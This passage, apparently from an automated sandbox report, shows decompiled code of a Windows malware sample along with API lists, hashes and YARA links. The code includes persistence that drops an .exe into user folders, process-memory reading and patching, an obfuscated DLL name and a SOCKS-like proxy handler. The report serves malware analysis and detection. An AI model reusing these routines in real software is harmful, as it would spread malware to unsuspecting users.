						Sleep(0xfa);
					}
				} else {
					E0041CEBB(_v1196);
					if(_t78 == 0) {
						L49:
						E0040E235(_v1196);
						return _v1209;
					}
					E0040532C(0x32901130,  &_v1176, 1);
					_t120 = CreateMutexW(0x4222e0, 1,  &_v1188);
					_v1220 = _t120;
					if(_t120 == _t151) {
						goto L49;
					}
					if(GetLastError() == 0xb7) {
						CloseHandle(_v1208);
						_v1208 = _t151;
					}
					if(_v1208 == _t151) {
						goto L49;
					} else {
						E00405606( &_v952);
						_t153 = _v528;
						if(_t153 == 0) {
							L15:
							E00405606( &_v952);
							_t158 =  &_v805;
							if(E0040ED72( &_v805) > 0) {
								_t172 =  &_v1072;
								E0040E440(_t126 | 0xffffffff,  &_v805, _t172, 0, 0x33);
								_t158 = _t172;
								E0040DE48(_t172,  &_v1204);
							}
							E0040D14C(_t158,  &_v1072);
							if((_v1076 & 0x00000020) != 0) {
								 *0x4222a8 =  *0x4222a8 | 0x00000010;
							}
							E0041EB01();
							if(( *0x4222a8 & 0x00000010) != 0) {
								ExitWindowsEx(0x14, 0x80000000);
							}
							E0040532C(0x1a43533f,  &_v1176, 1);
							_t171 = OpenEventW(2, 0,  &_v1188);
							if(_t171 != 0) {
								SetEvent(_t171);
								CloseHandle(_t171);
							}
							E00405892(1);
							_v1213 = 1;
							CloseHandle(_v1212);
							goto L49;
						}
						_t167 = _t153 * 0xea60 + GetTickCount();
						while(GetTickCount() < _t167) {
							Sleep(0x3e8);
						}
						goto L15;
					}
				}
			}

0x00405b5c
0x00405b5c
0x00405b73
0x00405b77
0x00405b7c
0x00405b83
0x00405bb3
0x00405bb3
0x00405b85
0x00405b8d
0x00405b95
0x00405b9a
0x00405b9c
0x00405ba2
0x00405ba4
0x00405ba4
0x00405bac
0x00405bac
0x00405bbd
0x00405d26
0x00405d2b
0x00000000
0x00000000
0x00405d38
0x00405d3d
0x00405d41
0x00405d43
0x00405f1e
0x00405f1e
0x00405f22
0x00405f2a
0x00405f2a
0x00000000
0x00405f22
0x00405d55
0x00405d65
0x00405d6b
0x00405d77
0x00405d79
0x00405db7
0x00405db7
0x00405dc0
0x00405dc6
0x00405dc9
0x00405de4
0x00405de9
0x00405deb
0x00405ded
0x00405e51
0x00405e55
0x00405e5f
0x00405e64
0x00405e77
0x00405e7b
0x00405e7b
0x00405e80
0x00405e96
0x00405e9b
0x00405e9d
0x00405ea2
0x00405ea7
0x00405eb5
0x00405ec7
0x00405ecd
0x00405ed1
0x00405ed5
0x00405ed9
0x00405edb
0x00405edd
0x00405ef0
0x00405edf
0x00405ee0
0x00405ee0
0x00405ef6
0x00405efa
0x00405f00
0x00405f00
0x00405f10
0x00405f13
0x00405f13
0x00405ea7
0x00405f15
0x00405f19
0x00000000
0x00405f19
0x00405def
0x00405df4
0x00000000
0x00000000
0x00405e05
0x00405e07
0x00405e0a
0x00000000
0x00000000
0x00405e10
0x00405e1b
0x00405e20
0x00405e2e
0x00405e33
0x00405e45
0x00405e49
0x00000000
0x00405e49
0x00405dd0
0x00000000
0x00405dd0
0x00405d7c
0x00405d82
0x00405d8d
0x00405d92
0x00405d94
0x00405d96
0x00000000
0x00000000
0x00405d98
0x00405d9d
0x00000000
0x00000000
0x00405d9f
0x00405da4
0x00405daf
0x00405daf
0x00405bc3
0x00405bc7
0x00405bce
0x00405f2f
0x00405f33
0x00405f42
0x00405f42
0x00405be0
0x00405bf1
0x00405bf7
0x00405bfd
0x00000000
0x00000000
0x00405c0e
0x00405c14
0x00405c1a
0x00405c1a
0x00405c22
0x00000000
0x00405c28
0x00405c2f
0x00405c34
0x00405c3d
0x00405c63
0x00405c6a
0x00405c6f
0x00405c7d
0x00405c83
0x00405c8d
0x00405c97
0x00405c99
0x00405c99
0x00405ca6
0x00405cb3
0x00405cb5
0x00405cb5
0x00405cbc
0x00405cc8
0x00405cd1
0x00405cd1
0x00405ce3
0x00405cf7
0x00405cfb
0x00405cfe
0x00405d05
0x00405d05
0x00405d0d
0x00405d16
0x00405d1b
0x00000000
0x00405d1b
0x00405c4d
0x00405c5d
0x00405c57
0x00405c57
0x00000000
0x00405c5d
0x00405c22

APIs

Part of subcall function 004134FA: CreateFileW.KERNEL32(?,80000000,?,00000000,00000003,00000000,00000000,?,?,?,?,00405B81), ref: 0041351F
Part of subcall function 004134FA: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,00405B81), ref: 00413532

CreateMutexW.KERNEL32(004222E0,00000001,?,32901130,?,00000001,?), ref: 00405BF1
GetLastError.KERNEL32 ref: 00405C03
CloseHandle.KERNEL32(000001E6), ref: 00405C14
GetTickCount.KERNEL32 ref: 00405C45
Sleep.KERNEL32(000003E8), ref: 00405C57
GetTickCount.KERNEL32 ref: 00405C5D
ExitWindowsEx.USER32(00000014,80000000), ref: 00405CD1
OpenEventW.KERNEL32(00000002,00000000,?,1A43533F,?,00000001), ref: 00405CF1
SetEvent.KERNEL32(00000000), ref: 00405CFE
CloseHandle.KERNEL32(00000000), ref: 00405D05
CloseHandle.KERNEL32(000001E6,00000001), ref: 00405D1B
OpenMutexW.KERNEL32(00100000,00000000,?,19367401,?,00000001,8889347B,00000002), ref: 00405D65
CloseHandle.KERNEL32(00000000), ref: 00405D7C
ReadProcessMemory.KERNEL32(000000FF,73BCF9B0,?,00000001,00000000), ref: 00405D92
Sleep.KERNEL32(000000FA), ref: 00405DA4
Sleep.KERNEL32(000000FA), ref: 00405DAF
IsWellKnownSid.ADVAPI32(00000000,00000016), ref: 00405DC0
ReadProcessMemory.KERNEL32(000000FF,73BCF9B0,?,00000001,00000000), ref: 00405DE9
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?), ref: 00405E49
GetFileAttributesExW.KERNEL32(00422716,78F16360,0000000C), ref: 00405E05

Part of subcall function 004147CD: VirtualProtect.KERNEL32(0041CBF9,?,00000040,-00000002,73BCF9B0,?,?,00405E64,?,?), ref: 004147E2
Part of subcall function 004147CD: VirtualProtect.KERNEL32(0041CBF9,?,-00000002,-00000002,?,?,00405E64,?,?), ref: 00414815

CreateEventW.KERNEL32(004222E0,00000001,00000000,?,1A43533F,?,00000001,00000001,?,00000000,00422308,00000000,?,?,?), ref: 00405EC7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00405EE0
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00405EF0
CloseHandle.KERNEL32(0000000C), ref: 00405F00
CloseHandle.KERNEL32(?), ref: 00405F10
CloseHandle.KERNEL32(?), ref: 00405F13

Strings

, xrefs: 00405CAB

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$CreateEventFileSleepVirtual$CountMemoryMutexOpenProcessProtectReadTickWait$AttributesErrorExitFreeKnownLastMultipleObjectObjectsSingleSizeWellWindows
String ID:
API String ID: 2787257795-3916222277
Opcode ID: b2a5dbaccc1f8300a8fadfbc2cc0d8ea0ff529b325ee922aa4ab05c42f81f460
Instruction ID: 303c339075a0c3773635e08142cc7d82186ac62061b83a341d7363dac74b5852
Opcode Fuzzy Hash: b2a5dbaccc1f8300a8fadfbc2cc0d8ea0ff529b325ee922aa4ab05c42f81f460
Instruction Fuzzy Hash: 3EA19C31508745ABD721EF60CD45BAF7BE8EF84304F40093EF595A21E1C7B899498BAA

Uniqueness

Uniqueness Score: -1.00%

Function 004120AD, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
libraryloadermemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120AD() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t7;
				void* _t9;
				intOrPtr _t14;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t18;

				_t14 =  *0x423824; // 0x0
				if(_t14 != 0) {
					L9:
					 *0x423824 =  *0x423824 + 1;
					return 1;
				} else {
					_t2 = LoadLibraryA("cabinet.dll");
					 *0x423820 = _t2;
					if(_t2 == 0) {
						L8:
						return 0;
					} else {
						 *0x422de4 = GetProcAddress(_t2, "FCICreate");
						 *0x4237c8 = GetProcAddress( *0x423820, "FCIAddFile");
						 *0x4229c0 = GetProcAddress( *0x423820, "FCIFlushCabinet");
						_t7 = GetProcAddress( *0x423820, "FCIDestroy");
						 *0x4237e8 = _t7;
						_t16 =  *0x422de4; // 0x0
						if(_t16 == 0) {
							L7:
							FreeLibrary( *0x423820);
							goto L8;
						} else {
							_t17 =  *0x4237c8; // 0x0
							if(_t17 == 0) {
								goto L7;
							} else {
								_t18 =  *0x4229c0; // 0x0
								if(_t18 == 0 || _t7 == 0) {
									goto L7;
								} else {
									_t9 = HeapCreate(0, 0x80000, 0);
									 *0x4229ac = _t9;
									if(_t9 != 0) {
										goto L9;
									} else {
										goto L7;
									}
								}
							}
						}
					}
				}
			}

0x004120b0
0x004120b6
0x00412161
0x00412161
0x0041216a
0x004120bc
0x004120c1
0x004120c7
0x004120ce
0x0041215d
0x00412160
0x004120d4
0x004120ee
0x00412100
0x00412112
0x00412117
0x00412119
0x0041211f
0x00412125
0x00412151
0x00412157
0x00000000
0x00412127
0x00412127
0x0041212d
0x00000000
0x0041212f
0x0041212f
0x00412135
0x00000000
0x0041213b
0x00412142
0x00412148
0x0041214f
0x00000000
0x00000000
0x00000000
0x00000000
0x0041214f
0x00412135
0x0041212d
0x00412125
0x004120ce

APIs

LoadLibraryA.KERNEL32(cabinet.dll,00000000,00412194,?,004123B0,?,?,00000000,?,?,?), ref: 004120C1
GetProcAddress.KERNEL32(00000000,FCICreate), ref: 004120E1
GetProcAddress.KERNEL32(FCIAddFile), ref: 004120F3
GetProcAddress.KERNEL32(FCIFlushCabinet), ref: 00412105
GetProcAddress.KERNEL32(FCIDestroy), ref: 00412117
HeapCreate.KERNEL32(00000000,00080000,00000000,004123B0,?,?,00000000,?,?,?), ref: 00412142
FreeLibrary.KERNEL32(004123B0,?,?,00000000,?,?,?), ref: 00412157

Strings

cabinet.dll, xrefs: 004120BC
FCIFlushCabinet, xrefs: 004120F5
FCIDestroy, xrefs: 00412107
FCIAddFile, xrefs: 004120E3
FCICreate, xrefs: 004120DB

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Library$CreateFreeHeapLoad
String ID: FCIAddFile$FCICreate$FCIDestroy$FCIFlushCabinet$cabinet.dll
API String ID: 2040708800-1163896595
Opcode ID: d73079988d6fba474bebf4b346d88ec14d73db4f457f4da201e74347de2fd113
Instruction ID: f90a9904613c9b0b01c3b7e13220b5bb72c92d1246be3f863225bac0836bd2fe
Opcode Fuzzy Hash: d73079988d6fba474bebf4b346d88ec14d73db4f457f4da201e74347de2fd113
Instruction Fuzzy Hash: F11139F0B40210BACB32FF64BE449963BF4F7C9B023A40577E600A6264D6BA4593CE5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041D2D2, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 190
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041D2D2(void* __eflags) {
				char _v5;
				char* _v12;
				char _v16;
				int _v20;
				int _v24;
				int _v28;
				int _v32;
				char _v56;
				char _v88;
				char _v608;
				short _v1128;
				char _v1648;
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t63;
				int _t69;
				char _t70;
				char _t76;
				int _t80;
				char _t81;
				char _t82;
				char _t86;
				char _t88;
				WCHAR* _t98;
				int _t99;
				CHAR* _t110;
				char* _t111;
				WCHAR* _t112;
				struct HINSTANCE__* _t113;
				signed int _t114;
				void* _t115;

				_t112 =  &_v56;
				_v5 = 0;
				E00407384(0xde, _t112);
				_t113 = LoadLibraryW(_t112);
				if(_t113 == 0) {
					L7:
					return 0;
				} else {
					_t110 =  &_v88;
					E0040734E(0xdf, _t110);
					_t63 = GetProcAddress(_t113, _t110);
					if(_t63 != 0) {
						_push( &_v12);
						_t106 =  &_v608;
						_push( &_v608);
						_v12 = 0x104;
						if( *_t63() == 1) {
							_t98 =  &_v1128;
							__imp__SHGetFolderPathW(0, 7, 0xffffffff, 1, _t98);
							if(_t98 == 0) {
								_t106 =  &_v608;
								_t99 = E0040ED84(_t106);
								_v12 = _t99;
								if(StrCmpNIW(_t106,  &_v1128, _t99) == 0) {
									_t106 = _t115 + _v12 * 2 - 0x464;
									E0040E5D6(_t102 | 0xffffffff, _t115 + _v12 * 2 - 0x464,  &_v1128);
									_v5 = 1;
								}
							}
						}
					}
					FreeLibrary(_t113);
					if(_v5 != 0) {
						_v5 = 0;
						_v28 = 0;
						_t111 = L".exe";
						do {
							_v12 = 0;
							_t69 = NetUserEnum(0, 0, 2,  &_v12, 0xffffffff,  &_v20,  &_v32,  &_v28);
							_v24 = _t69;
							__eflags = _t69;
							if(_t69 == 0) {
								L11:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L24;
								}
								_t114 = 0;
								__eflags = _v20;
								if(_v20 <= 0) {
									L23:
									NetApiBufferFree(_v12);
									goto L24;
								} else {
									goto L13;
								}
								do {
									L13:
									_t80 = NetUserGetInfo(0,  *(_v12 + _t114 * 4), 0x17,  &_v16);
									__eflags = _t80;
									if(_t80 == 0) {
										_t81 = _v16;
										__eflags = _t81;
										if(_t81 != 0) {
											_t106 =  &_v608;
											_t82 = E0041C32F( *((intOrPtr*)(_t81 + 0x10)),  &_v608);
											__eflags = _t82;
											if(_t82 != 0) {
												_t86 = E00413B62( &_v1128,  &_v608,  &_v608);
												__eflags = _t86;
												if(_t86 != 0) {
													_t88 = E004138EA( &_v608);
													__eflags = _t88;
													if(_t88 != 0) {
														__eflags = E00412877(0,  &_v608,  &_v1648, _t111, 4, 6);
														if(__eflags != 0) {
															__eflags = E0041C84D( &_v608, __eflags, 0,  &_v1648, 0);
															if(__eflags != 0) {
																_v5 = 1;
																E0041C97A( &_v608, __eflags,  *((intOrPtr*)(_v16 + 0x10)),  &_v1648);
															}
														}
													}
												}
											}
											NetApiBufferFree(_v16);
										}
									}
									_t114 = _t114 + 1;
									__eflags = _t114 - _v20;
								} while (_t114 < _v20);
								goto L23;
							}
							__eflags = _t69 - 0xea;
							if(_t69 != 0xea) {
								break;
							}
							goto L11;
							L24:
							__eflags = _v24 - 0xea;
						} while (_v24 == 0xea);
						_t70 =  &_v1128;
						__imp__SHGetFolderPathW(0, 0x8007, 0xffffffff, 1, _t70);
						__eflags = _t70;
						if(_t70 == 0) {
							__eflags = E00412877(0,  &_v1128,  &_v1648, _t111, 4, 6);
							if(__eflags != 0) {
								_t76 = E0041C84D(_t106, __eflags, 0,  &_v1648, 0);
								__eflags = _t76;
								if(_t76 != 0) {
									_v5 = 1;
								}
							}
						}
						return _v5;
					}
					goto L7;
				}
			}

0x0041d2e0
0x0041d2e8
0x0041d2eb
0x0041d2f9
0x0041d2fd
0x0041d39a
0x00000000
0x0041d303
0x0041d303
0x0041d30b
0x0041d314
0x0041d31c
0x0041d321
0x0041d322
0x0041d328
0x0041d329
0x0041d335
0x0041d337
0x0041d345
0x0041d34d
0x0041d34f
0x0041d355
0x0041d35b
0x0041d370
0x0041d375
0x0041d385
0x0041d38a
0x0041d38a
0x0041d370
0x0041d34d
0x0041d335
0x0041d38f
0x0041d398
0x0041d3a1
0x0041d3a4
0x0041d3a7
0x0041d3ac
0x0041d3c2
0x0041d3c5
0x0041d3cb
0x0041d3ce
0x0041d3d0
0x0041d3dd
0x0041d3dd
0x0041d3e0
0x00000000
0x00000000
0x0041d3e6
0x0041d3e8
0x0041d3eb
0x0041d4a9
0x0041d4ac
0x00000000
0x00000000
0x00000000
0x00000000
0x0041d3f1
0x0041d3f1
0x0041d3fe
0x0041d404
0x0041d406
0x0041d40c
0x0041d40f
0x0041d411
0x0041d417
0x0041d421
0x0041d426
0x0041d428
0x0041d438
0x0041d43d
0x0041d43f
0x0041d448
0x0041d44d
0x0041d44f
0x0041d46a
0x0041d46c
0x0041d47c
0x0041d47e
0x0041d48d
0x0041d491
0x0041d491
0x0041d47e
0x0041d46c
0x0041d44f
0x0041d43f
0x0041d499
0x0041d499
0x0041d411
0x0041d49f
0x0041d4a0
0x0041d4a0
0x00000000
0x0041d3f1
0x0041d3d2
0x0041d3d7
0x00000000
0x00000000
0x00000000
0x0041d4b2
0x0041d4b2
0x0041d4b2
0x0041d4bf
0x0041d4d0
0x0041d4d6
0x0041d4d8
0x0041d4f3
0x0041d4f5
0x0041d500
0x0041d505
0x0041d507
0x0041d509
0x0041d509
0x0041d507
0x0041d4f5
0x00000000
0x0041d50d
0x00000000
0x0041d398

APIs

LoadLibraryW.KERNEL32(?,73B75B60,73BCF9B0,00000000), ref: 0041D2F3
GetProcAddress.KERNEL32(00000000,?), ref: 0041D314
SHGetFolderPathW.SHELL32(00000000,00000007,000000FF,00000001,?), ref: 0041D345
StrCmpNIW.SHLWAPI(?,?,00000000), ref: 0041D368
FreeLibrary.KERNEL32(00000000), ref: 0041D38F
NetUserEnum.NETAPI32(00000000,00000000,00000002,?,000000FF,0000000C,?,?), ref: 0041D3C5
NetUserGetInfo.NETAPI32(00000000,?,00000017,?), ref: 0041D3FE
NetApiBufferFree.NETAPI32(?,?,?), ref: 0041D499
NetApiBufferFree.NETAPI32(?), ref: 0041D4AC
SHGetFolderPathW.SHELL32(00000000,00008007,000000FF,00000001,?), ref: 0041D4D0

Strings

.exe, xrefs: 0041D3A7, 0041D455, 0041D4DE

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$BufferFolderLibraryPathUser$AddressEnumInfoLoadProc
String ID: .exe
API String ID: 1753652487-4119554291
Opcode ID: 63673b20fa3d5a909ded1e656940869bb9b09ac698ffc16a018bfd5ebc82eeaa
Instruction ID: 8565f32944dd01cd5ab6a60d29d8d13c766485a4df6112b407f22e64d61227b5
Opcode Fuzzy Hash: 63673b20fa3d5a909ded1e656940869bb9b09ac698ffc16a018bfd5ebc82eeaa
Instruction Fuzzy Hash: 756171B1D00218AADF20DF94CC84FEF777DAB45304F0041AAFA15F2191E7799A89CB29

Uniqueness

Uniqueness Score: -1.00%

Function 0040FBAD, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 102
libraryloaderprocessCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040FBAD(void* _a4, WCHAR* _a8) {
				WCHAR* _v5;
				char _v12;
				signed int _v16;
				struct HINSTANCE__* _v20;
				_Unknown_base(*)()* _v24;
				char _v36;
				struct _PROCESS_INFORMATION _v52;
				struct _STARTUPINFOW _v120;
				char* _t34;
				struct HINSTANCE__* _t36;
				_Unknown_base(*)()* _t39;
				WCHAR* _t57;
				long _t58;
				intOrPtr* _t60;

				_v5 = 0;
				lstrcpyA( &_v36, "vtfsfow/emm");
				_t34 =  &_v36;
				if(_v36 == 0) {
					L2:
					_t36 = LoadLibraryA( &_v36);
					_v20 = _t36;
					if(_t36 != 0) {
						_t60 = GetProcAddress(_t36, "CreateEnvironmentBlock");
						_t39 = GetProcAddress(_v20, "DestroyEnvironmentBlock");
						_v24 = _t39;
						if(_t60 != 0 && _t39 != 0) {
							_push(0);
							_push(_a4);
							_push( &_v16);
							_v16 = 0;
							if( *_t60() == 0) {
								_v16 = 0;
							}
							_t58 = 0x44;
							_v12 = 0;
							E0040E2E8( &_v120,  &_v120, 0, _t58);
							_t57 = _a8;
							_v120.cb = _t58;
							_v120.lpDesktop = 0;
							if(_t57 == 0) {
								_t57 =  &_v12;
							}
							asm("sbb eax, eax");
							if(CreateProcessAsUserW(_a4, 0, _t57, 0, 0, 0,  ~_v16 & 0x00000400 | 0x04000000, _v16, 0,  &_v120,  &_v52) != 0) {
								CloseHandle(_v52.hThread);
								CloseHandle(_v52);
								_v5 = _v52.dwProcessId != 0;
							}
							if(_v16 != 0) {
								_v24(_v16);
							}
						}
						FreeLibrary(_v20);
					}
					return _v5 & 0x000000ff;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_t34 =  *_t34 - 1;
					_t34 = _t34 + 1;
				} while ( *_t34 != 0);
				goto L2;
			}

0x0040fbbf
0x0040fbc2
0x0040fbc8
0x0040fbce
0x0040fbd7
0x0040fbdb
0x0040fbe1
0x0040fbe6
0x0040fc04
0x0040fc06
0x0040fc08
0x0040fc0d
0x0040fc1b
0x0040fc1c
0x0040fc22
0x0040fc23
0x0040fc2a
0x0040fc2c
0x0040fc2c
0x0040fc31
0x0040fc35
0x0040fc3e
0x0040fc43
0x0040fc46
0x0040fc49
0x0040fc4e
0x0040fc50
0x0040fc50
0x0040fc62
0x0040fc7f
0x0040fc8a
0x0040fc8f
0x0040fc94
0x0040fc94
0x0040fc9b
0x0040fca0
0x0040fca0
0x0040fc9b
0x0040fca6
0x0040fcad
0x0040fcb4
0x00000000
0x00000000
0x00000000
0x0040fbd0
0x0040fbd0
0x0040fbd0
0x0040fbd2
0x0040fbd3
0x00000000

APIs

lstrcpyA.KERNEL32(?,vtfsfow/emm,00000000), ref: 0040FBC2
LoadLibraryA.KERNEL32(?), ref: 0040FBDB
GetProcAddress.KERNEL32(00000000,CreateEnvironmentBlock), ref: 0040FBFA
GetProcAddress.KERNEL32(?,DestroyEnvironmentBlock), ref: 0040FC06
CreateProcessAsUserW.ADVAPI32(?,00000000,0041C95D,00000000,00000000,00000000,0041C95D,0041C95D,00000000,?,?,?,00000000,00000044), ref: 0040FC77
CloseHandle.KERNEL32(?), ref: 0040FC8A
CloseHandle.KERNEL32(?), ref: 0040FC8F
FreeLibrary.KERNEL32(?), ref: 0040FCA6

Strings

DestroyEnvironmentBlock, xrefs: 0040FBFC
vtfsfow/emm, xrefs: 0040FBB4
CreateEnvironmentBlock, xrefs: 0040FBF4

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCloseHandleLibraryProc$CreateFreeLoadProcessUserlstrcpy
String ID: CreateEnvironmentBlock$DestroyEnvironmentBlock$vtfsfow/emm
API String ID: 4031153866-3748378995
Opcode ID: aeeb3242240e7e89b12712dddcd889f265b01123bbd2e2bc42422c93cf1a87b0
Instruction ID: 5c93356223f8f21fa8b4f92cac2a88febeaadc66b6c155aaa62b3e6c4fcd1ff8
Opcode Fuzzy Hash: aeeb3242240e7e89b12712dddcd889f265b01123bbd2e2bc42422c93cf1a87b0
Instruction Fuzzy Hash: 5C3128B1D1025DBEDF119FE5DD849EEBBBCEF08348B14447AE501F21A0D6399A488B68

Uniqueness

Uniqueness Score: -1.00%

Function 0041596B, Relevance: 18.7, APIs: 12, Instructions: 691
networkCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0041596B(void* __eflags, char _a4) {
				signed int _v9;
				signed char _v13;
				signed int _v14;
				signed int _v20;
				signed char _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				signed char _v57;
				signed char _v59;
				char _v60;
				void* _v64;
				signed char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v80;
				char _v84;
				char _v88;
				signed char _v192;
				char _v208;
				signed char _v212;
				signed int _v214;
				signed int _v216;
				char _v232;
				signed int _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				signed int _v496;
				signed char _v600;
				signed char _v620;
				short _v624;
				signed short _v752;
				char _v880;
				char _v1000;
				intOrPtr _v1004;
				char _v1008;
				char _v1264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t253;
				signed int _t261;
				signed int _t262;
				void* _t270;
				signed int _t271;
				signed int _t273;
				void* _t275;
				signed int _t276;
				void* _t277;
				signed char _t278;
				signed int _t279;
				signed int _t283;
				signed char _t285;
				signed int _t286;
				signed int _t290;
				void* _t293;
				signed int _t296;
				signed int _t313;
				signed int _t316;
				intOrPtr _t317;
				void* _t320;
				signed int _t323;
				signed int _t325;
				signed int _t327;
				signed int _t328;
				signed int _t330;
				signed int _t336;
				void* _t338;
				signed short _t344;
				signed int _t348;
				signed int _t349;
				signed short _t360;
				signed int _t362;
				signed int _t367;
				signed int _t369;
				signed char _t370;
				signed int _t371;
				void* _t372;
				signed int _t374;
				signed int _t375;
				signed short _t379;
				signed int _t390;
				signed int _t392;
				signed int _t396;
				signed int _t398;
				signed int _t401;
				signed char _t402;
				signed char _t403;
				void* _t406;
				signed int _t407;
				void* _t408;
				signed char _t409;
				signed char _t411;
				void* _t414;
				void* _t415;
				signed int _t416;
				char* _t421;
				signed char _t422;
				signed int _t425;
				char* _t433;
				intOrPtr _t444;
				intOrPtr _t449;
				void* _t450;
				signed char _t451;
				signed char _t452;
				intOrPtr _t453;
				void* _t455;
				intOrPtr _t457;
				intOrPtr* _t458;
				char _t460;
				intOrPtr _t461;
				signed int _t463;
				intOrPtr _t466;
				signed int _t468;
				intOrPtr _t469;
				void* _t472;

				_t253 = E004118C2(_a4);
				_t411 = 0;
				_v40 = 0 | _t253 == 0x00000017;
				if(E00411304(1, _a4,  &_v9, 0) == 0 || _v9 == 0 || E00411304(_v9 & 0x000000ff, _a4,  &_v880, 0) == 0) {
					L46:
					__eflags = 0;
					return 0;
				} else {
					_t261 = _v9 & 0x000000ff;
					L5:
					L5:
					if(_t261 != _t411) {
						goto L4;
					} else {
						_t262 = 0;
					}
					L7:
					asm("sbb eax, eax");
					_t453 = 2;
					_v36 = ( ~_t262 & 0xffff0100) + 0x0000ff05 & 0x0000ffff;
					if(E00411369( &_v36, _a4,  &_v36, _t453) == 0) {
						goto L46;
					}
					if(_v36 == 0xff05) {
						return 1;
					}
					_t460 = _a4;
					_push(_t411);
					_push( &_v60);
					_push(_t460);
					_t270 = 4;
					_v13 = _t411;
					_t271 = E00411304(_t270);
					__eflags = _t271;
					if(_t271 == 0) {
						goto L46;
					} else {
						__eflags = _v60 - 5;
						if(_v60 != 5) {
							goto L46;
						}
						__eflags = _v40 & 0x00000001;
						if((_v40 & 0x00000001) == 0) {
							_v76 = _t453;
							_v72 = 0x17;
						} else {
							_v76 = 0x17;
							_v72 = _t453;
						}
						_t273 = (_v57 & 0x000000ff) - 1;
						__eflags = _t273;
						_v24 = _t411;
						if(_t273 == 0) {
							_push(_t411);
							_push( &_v84);
							_push(_t460);
							_t275 = 4;
							_t276 = E00411304(_t275);
							__eflags = _t276;
							if(_t276 == 0) {
								goto L46;
							}
							_t277 = 0x10;
							_t278 = E0040E205(_t277);
							_v24 = _t278;
							__eflags = _t278 - _t411;
							if(_t278 != _t411) {
								 *_t278 = _t453;
								_push(4);
								_t421 =  &_v84;
								_t279 = _t278 + 4;
								__eflags = _t279;
								goto L43;
							}
							goto L41;
						} else {
							_t392 = _t273 - _t453;
							__eflags = _t392;
							if(_t392 == 0) {
								_t396 = E00411304(1, _t460,  &_v14, _t411);
								__eflags = _t396;
								if(_t396 == 0) {
									goto L46;
								}
								__eflags = _v14 - _t411;
								if(_v14 == _t411) {
									goto L46;
								}
								_t398 = E00411304(_v14 & 0x000000ff, _t460,  &_v1264, _t411);
								__eflags = _t398;
								if(_t398 == 0) {
									goto L46;
								}
								 *(_t472 + (_v14 & 0x000000ff) - 0x4ec) = _t411;
								_t401 =  &_v1264;
								_v68 = _t411;
								__imp__getaddrinfo(_t401, _t411, _t411,  &_v68);
								__eflags = _t401;
								if(_t401 == 0) {
									_t452 = 0;
									__eflags = 0;
									do {
										_t402 = _v68;
										__eflags = _t402 - _t411;
										if(_t402 == _t411) {
											goto L32;
										}
										_t449 =  *((intOrPtr*)(_t472 + (_t452 & 0x000000ff) * 4 - 0x48));
										while(1) {
											__eflags =  *((intOrPtr*)(_t402 + 4)) - _t449;
											if(__eflags == 0) {
												break;
											}
											_t402 =  *(_t402 + 0x1c);
											__eflags = _t402 - _t411;
											if(_t402 != _t411) {
												continue;
											}
											goto L32;
										}
										_t403 = E0040E288(__eflags,  *((intOrPtr*)(_t402 + 0x18)),  *((intOrPtr*)(_t402 + 0x10)));
										_v24 = _t403;
										__eflags = _t403 - _t411;
										if(_t403 != _t411) {
											__eflags =  *_t403 - 0x17;
											if( *_t403 == 0x17) {
												 *(_t403 + 0x18) = _t411;
												 *(_t403 + 4) = _t411;
											}
										} else {
											_v13 = 1;
										}
										L34:
										__imp__freeaddrinfo(_v68);
										goto L44;
										L32:
										_t452 = _t452 + 1;
										__eflags = _t452 - 2;
									} while (_t452 < 2);
									_v13 = 4;
									goto L34;
								} else {
									_v13 = 4;
									L44:
									_t283 = E00411304(_t453, _t460,  &_v64, _t411);
									__eflags = _t283;
									if(_t283 != 0) {
										_v9 = 1;
										__eflags = _v13 - _t411;
										if(_v13 != _t411) {
											L145:
											E0040E235(_v24);
											_t285 = _v9;
											__eflags = _t285 - 1;
